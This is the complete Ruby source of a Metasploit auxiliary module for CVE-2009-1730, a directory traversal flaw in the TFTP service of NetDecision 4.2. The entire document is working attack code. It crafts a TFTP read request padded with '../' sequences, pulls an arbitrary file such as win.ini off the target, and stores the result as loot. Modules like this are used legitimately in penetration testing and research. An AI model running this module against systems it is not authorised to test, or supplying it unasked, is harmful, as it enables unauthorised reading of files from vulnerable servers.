NetDecision 4.2 TFTP Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "NetDecision 4.2 TFTP Directory Traversal",  
'Description' => %q{  
This modules exploits a directory traversal vulnerability in NetDecision 4.2  
TFTP service.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Rob Kraus', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2009-1730'],  
['OSVDB', '54607'],  
['BID', '35002']  
],  
'DisclosureDate' => '2009-05-16'  
))  
  
register_options(  
[  
Opt::RPORT(69),  
OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),  
OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']),  
])  
end  
  
def run_host(ip)  
  
  
# Configure how deep we want to traverse  
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']  
# Prepare the filename  
file_name = "../" * depth  
file_name << datastore['FILENAME']  
  
# Prepare the packet  
pkt = "\x00\x01"  
pkt << file_name  
pkt << "\x00"  
pkt << "octet"  
pkt << "\x00"  
  
# We need to reuse the same port in order to receive the data  
udp_sock = Rex::Socket::Udp.create(  
{  
'Context' => {'Msf' => framework, 'MsfExploit'=>self}  
}  
)  
  
add_socket(udp_sock)  
  
# Send the packet to target  
file_data = ''  
udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)  
  
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])  
  
opcode, block, data = r[0].unpack("nna*") # Parse reply  
if opcode != 3 # Check opcode: 3 => Data Packet  
print_error("Error retrieving file #{file_name} from #{ip}")  
return  
end  
file_data << data  
udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack  
  
end  
  
if file_data.empty?  
print_error("Error retrieving file #{file_name} from #{ip}")  
return  
end  
  
udp_sock.close  
  
# Output file if verbose  
vprint_line(file_data.to_s)  
  
# Save file to disk  
path = store_loot(  
'netdecision.tftp',  
'application/octet-stream',  
ip,  
file_data,  
datastore['FILENAME']  
)  
  
print_status("File saved in: #{path}")  
end  
  
#  
# Returns an Acknowledgement  
#  
def tftp_ack(block=1)  
  
pkt = "\x00\x04" # Ack  
pkt << [block].pack("n") # Block Id  
  
end  
end  
`